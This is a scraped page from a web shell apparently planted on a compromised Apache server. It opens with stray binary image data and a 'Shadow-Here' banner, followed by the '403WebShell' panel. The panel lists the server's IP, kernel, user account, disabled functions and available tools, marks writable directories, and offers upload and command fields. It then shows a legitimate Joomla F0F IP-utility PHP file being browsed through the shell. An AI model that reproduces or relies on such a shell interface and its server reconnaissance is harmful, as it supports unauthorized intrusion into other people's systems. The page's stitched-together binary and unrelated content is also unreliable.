....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îŠ‡y’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒwŽ¼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9u鶳ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•â•ªVêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•î¦ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄÍ°L–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýc塶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ŠBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊƃZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 195.3.193.30  /  Your IP : 216.73.216.125
Web Server : Apache
System : Linux server3 5.10.0-35-amd64 #1 SMP Debian 5.10.237-1 (2025-05-19) x86_64
User : web032 ( 1035)
PHP Version : 7.3.33
Disable Function : show_source, highlight_file, apache_child_terminate, apache_get_modules, apache_note, apache_setenv, virtual, dl, disk_total_space, posix_getpwnam, posix_getpwuid, posix_mkfifo, posix_mknod, posix_setpgid, posix_setsid, posix_setuid, posix_uname, proc_nice, openlog, syslog, pfsockopen
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/web032/htdocs/cms/libraries/f0f/utils/ip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /var/www/web032/htdocs/cms/libraries/f0f/utils/ip/ip.php
<?php
/**
 * @package     FrameworkOnFramework
 * @subpackage  utils
 * @copyright   Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba Ltd. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('F0F_INCLUDED') or die;

/**
 * IP address utilities
 */
abstract class F0FUtilsIp
{
	/** @var   string  The IP address of the current visitor */
	protected static $ip = null;

	/**
	 * Should I allow IP overrides through X-Forwarded-For or Client-Ip HTTP headers?
	 *
	 * @var    bool
	 */
	protected static $allowIpOverrides = true;

	/**
	 * Get the current visitor's IP address
	 *
	 * @return string
	 */
	public static function getIp()
	{
		if (is_null(static::$ip))
		{
			$ip = self::detectAndCleanIP();

			if (!empty($ip) && ($ip != '0.0.0.0') && function_exists('inet_pton') && function_exists('inet_ntop'))
			{
				$myIP = @inet_pton($ip);

				if ($myIP !== false)
				{
					$ip = inet_ntop($myIP);
				}
			}

			static::setIp($ip);
		}

		return static::$ip;
	}

	/**
	 * Set the IP address of the current visitor
	 *
	 * @param   string  $ip
	 *
	 * @return  void
	 */
	public static function setIp($ip)
	{
		static::$ip = $ip;
	}

	/**
	 * Is it an IPv6 IP address?
	 *
	 * @param   string   $ip  An IPv4 or IPv6 address
	 *
	 * @return  boolean  True if it's IPv6
	 */
	public static function isIPv6($ip)
	{
		if (strstr($ip, ':'))
		{
			return true;
		}

		return false;
	}

	/**
	 * Checks if an IP is contained in a list of IPs or IP expressions
	 *
	 * @param   string        $ip       The IPv4/IPv6 address to check
	 * @param   array|string  $ipTable  An IP expression (or a comma-separated or array list of IP expressions) to check against
	 *
	 * @return  null|boolean  True if it's in the list
	 */
	public static function IPinList($ip, $ipTable = '')
	{
		// No point proceeding with an empty IP list
		if (empty($ipTable))
		{
			return false;
		}

		// If the IP list is not an array, convert it to an array
		if (!is_array($ipTable))
		{
			if (strpos($ipTable, ',') !== false)
			{
				$ipTable = explode(',', $ipTable);
				$ipTable = array_map(function($x) { return trim($x); }, $ipTable);
			}
			else
			{
				$ipTable = trim($ipTable);
				$ipTable = array($ipTable);
			}
		}

		// If no IP address is found, return false
		if ($ip == '0.0.0.0')
		{
			return false;
		}

		// If no IP is given, return false
		if (empty($ip))
		{
			return false;
		}

		// Sanity check
		if (!function_exists('inet_pton'))
		{
			return false;
		}

		// Get the IP's in_adds representation
		$myIP = @inet_pton($ip);

		// If the IP is in an unrecognisable format, quite
		if ($myIP === false)
		{
			return false;
		}

		$ipv6 = self::isIPv6($ip);

		foreach ($ipTable as $ipExpression)
		{
			$ipExpression = trim($ipExpression);

			// Inclusive IP range, i.e. 123.123.123.123-124.125.126.127
			if (strstr($ipExpression, '-'))
			{
				list($from, $to) = explode('-', $ipExpression, 2);

				if ($ipv6 && (!self::isIPv6($from) || !self::isIPv6($to)))
				{
					// Do not apply IPv4 filtering on an IPv6 address
					continue;
				}
				elseif (!$ipv6 && (self::isIPv6($from) || self::isIPv6($to)))
				{
					// Do not apply IPv6 filtering on an IPv4 address
					continue;
				}

				$from = @inet_pton(trim($from));
				$to = @inet_pton(trim($to));

				// Sanity check
				if (($from === false) || ($to === false))
				{
					continue;
				}

				// Swap from/to if they're in the wrong order
				if ($from > $to)
				{
					list($from, $to) = array($to, $from);
				}

				if (($myIP >= $from) && ($myIP <= $to))
				{
					return true;
				}
			}
			// Netmask or CIDR provided
			elseif (strstr($ipExpression, '/'))
			{
				$binaryip = self::inet_to_bits($myIP);

				list($net, $maskbits) = explode('/', $ipExpression, 2);
				if ($ipv6 && !self::isIPv6($net))
				{
					// Do not apply IPv4 filtering on an IPv6 address
					continue;
				}
				elseif (!$ipv6 && self::isIPv6($net))
				{
					// Do not apply IPv6 filtering on an IPv4 address
					continue;
				}
				elseif ($ipv6 && strstr($maskbits, ':'))
				{
					// Perform an IPv6 CIDR check
					if (self::checkIPv6CIDR($myIP, $ipExpression))
					{
						return true;
					}

					// If we didn't match it proceed to the next expression
					continue;
				}
				elseif (!$ipv6 && strstr($maskbits, '.'))
				{
					// Convert IPv4 netmask to CIDR
					$long = ip2long($maskbits);
					$base = ip2long('255.255.255.255');
					$maskbits = 32 - log(($long ^ $base) + 1, 2);
				}

				// Convert network IP to in_addr representation
				$net = @inet_pton($net);

				// Sanity check
				if ($net === false)
				{
					continue;
				}

				// Get the network's binary representation
				$binarynet = self::inet_to_bits($net);
				$expectedNumberOfBits = $ipv6 ? 128 : 24;
				$binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT);

				// Check the corresponding bits of the IP and the network
				$ip_net_bits = substr($binaryip, 0, $maskbits);
				$net_bits = substr($binarynet, 0, $maskbits);

				if ($ip_net_bits == $net_bits)
				{
					return true;
				}
			}
			else
			{
				// IPv6: Only single IPs are supported
				if ($ipv6)
				{
					$ipExpression = trim($ipExpression);

					if (!self::isIPv6($ipExpression))
					{
						continue;
					}

					$ipCheck = @inet_pton($ipExpression);
					if ($ipCheck === false)
					{
						continue;
					}

					if ($ipCheck == $myIP)
					{
						return true;
					}
				}
				else
				{
					// Standard IPv4 address, i.e. 123.123.123.123 or partial IP address, i.e. 123.[123.][123.][123]
					$dots = 0;
					if (substr($ipExpression, -1) == '.')
					{
						// Partial IP address. Convert to CIDR and re-match
						foreach (count_chars($ipExpression, 1) as $i => $val)
						{
							if ($i == 46)
							{
								$dots = $val;
							}
						}
						switch ($dots)
						{
							case 1:
								$netmask = '255.0.0.0';
								$ipExpression .= '0.0.0';
								break;

							case 2:
								$netmask = '255.255.0.0';
								$ipExpression .= '0.0';
								break;

							case 3:
								$netmask = '255.255.255.0';
								$ipExpression .= '0';
								break;

							default:
								$dots = 0;
						}

						if ($dots)
						{
							$binaryip = self::inet_to_bits($myIP);

							// Convert netmask to CIDR
							$long = ip2long($netmask);
							$base = ip2long('255.255.255.255');
							$maskbits = 32 - log(($long ^ $base) + 1, 2);

							$net = @inet_pton($ipExpression);

							// Sanity check
							if ($net === false)
							{
								continue;
							}

							// Get the network's binary representation
							$binarynet = self::inet_to_bits($net);
							$expectedNumberOfBits = $ipv6 ? 128 : 24;
							$binarynet = str_pad($binarynet, $expectedNumberOfBits, '0', STR_PAD_RIGHT);

							// Check the corresponding bits of the IP and the network
							$ip_net_bits = substr($binaryip, 0, $maskbits);
							$net_bits = substr($binarynet, 0, $maskbits);

							if ($ip_net_bits == $net_bits)
							{
								return true;
							}
						}
					}
					if (!$dots)
					{
						$ip = @inet_pton(trim($ipExpression));
						if ($ip == $myIP)
						{
							return true;
						}
					}
				}
			}
		}

		return false;
	}

	/**
	 * Works around the REMOTE_ADDR not containing the user's IP
	 */
	public static function workaroundIPIssues()
	{
		$ip = self::getIp();

		if ($_SERVER['REMOTE_ADDR'] == $ip)
		{
			return;
		}

		if (array_key_exists('REMOTE_ADDR', $_SERVER))
		{
			$_SERVER['FOF_REMOTE_ADDR'] = $_SERVER['REMOTE_ADDR'];
		}
		elseif (function_exists('getenv'))
		{
			if (getenv('REMOTE_ADDR'))
			{
				$_SERVER['FOF_REMOTE_ADDR'] = getenv('REMOTE_ADDR');
			}
		}

		$_SERVER['REMOTE_ADDR'] = $ip;
	}

	/**
	 * Should I allow the remote client's IP to be overridden by an X-Forwarded-For or Client-Ip HTTP header?
	 *
	 * @param   bool  $newState  True to allow the override
	 *
	 * @return  void
	 */
	public static function setAllowIpOverrides($newState)
	{
		self::$allowIpOverrides = $newState ? true : false;
	}

	/**
	 * Gets the visitor's IP address. Automatically handles reverse proxies
	 * reporting the IPs of intermediate devices, like load balancers. Examples:
	 * https://www.akeebabackup.com/support/admin-tools/13743-double-ip-adresses-in-security-exception-log-warnings.html
	 * http://stackoverflow.com/questions/2422395/why-is-request-envremote-addr-returning-two-ips
	 * The solution used is assuming that the last IP address is the external one.
	 *
	 * @return  string
	 */
	protected static function detectAndCleanIP()
	{
		$ip = self::detectIP();

		if ((strstr($ip, ',') !== false) || (strstr($ip, ' ') !== false))
		{
			$ip = str_replace(' ', ',', $ip);
			$ip = str_replace(',,', ',', $ip);
			$ips = explode(',', $ip);
			$ip = '';
			while (empty($ip) && !empty($ips))
			{
				$ip = array_pop($ips);
				$ip = trim($ip);
			}
		}
		else
		{
			$ip = trim($ip);
		}

		return $ip;
	}

	/**
	 * Gets the visitor's IP address
	 *
	 * @return  string
	 */
	protected static function detectIP()
	{
		// Normally the $_SERVER superglobal is set
		if (isset($_SERVER))
		{
			// Do we have an x-forwarded-for HTTP header (e.g. NginX)?
			if (self::$allowIpOverrides && array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER))
			{
				return $_SERVER['HTTP_X_FORWARDED_FOR'];
			}

			// Do we have a client-ip header (e.g. non-transparent proxy)?
			if (self::$allowIpOverrides && array_key_exists('HTTP_CLIENT_IP', $_SERVER))
			{
				return $_SERVER['HTTP_CLIENT_IP'];
			}

			// Normal, non-proxied server or server behind a transparent proxy
			return $_SERVER['REMOTE_ADDR'];
		}

		// This part is executed on PHP running as CGI, or on SAPIs which do
		// not set the $_SERVER superglobal
		// If getenv() is disabled, you're screwed
		if (!function_exists('getenv'))
		{
			return '';
		}

		// Do we have an x-forwarded-for HTTP header?
		if (self::$allowIpOverrides && getenv('HTTP_X_FORWARDED_FOR'))
		{
			return getenv('HTTP_X_FORWARDED_FOR');
		}

		// Do we have a client-ip header?
		if (self::$allowIpOverrides && getenv('HTTP_CLIENT_IP'))
		{
			return getenv('HTTP_CLIENT_IP');
		}

		// Normal, non-proxied server or server behind a transparent proxy
		if (getenv('REMOTE_ADDR'))
		{
			return getenv('REMOTE_ADDR');
		}

		// Catch-all case for broken servers, apparently
		return '';
	}

	/**
	 * Converts inet_pton output to bits string
	 *
	 * @param   string $inet The in_addr representation of an IPv4 or IPv6 address
	 *
	 * @return  string
	 */
	protected static function inet_to_bits($inet)
	{
		if (strlen($inet) == 4)
		{
			$unpacked = unpack('A4', $inet);
		}
		else
		{
			$unpacked = unpack('A16', $inet);
		}
		$unpacked = str_split($unpacked[1]);
		$binaryip = '';

		foreach ($unpacked as $char)
		{
			$binaryip .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT);
		}

		return $binaryip;
	}

	/**
	 * Checks if an IPv6 address $ip is part of the IPv6 CIDR block $cidrnet
	 *
	 * @param   string  $ip       The IPv6 address to check, e.g. 21DA:00D3:0000:2F3B:02AC:00FF:FE28:9C5A
	 * @param   string  $cidrnet  The IPv6 CIDR block, e.g. 21DA:00D3:0000:2F3B::/64
	 *
	 * @return  bool
	 */
	protected static function checkIPv6CIDR($ip, $cidrnet)
	{
		$ip = inet_pton($ip);
		$binaryip=self::inet_to_bits($ip);

		list($net,$maskbits)=explode('/',$cidrnet);
		$net=inet_pton($net);
		$binarynet=self::inet_to_bits($net);

		$ip_net_bits=substr($binaryip,0,$maskbits);
		$net_bits   =substr($binarynet,0,$maskbits);

		return $ip_net_bits === $net_bits;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit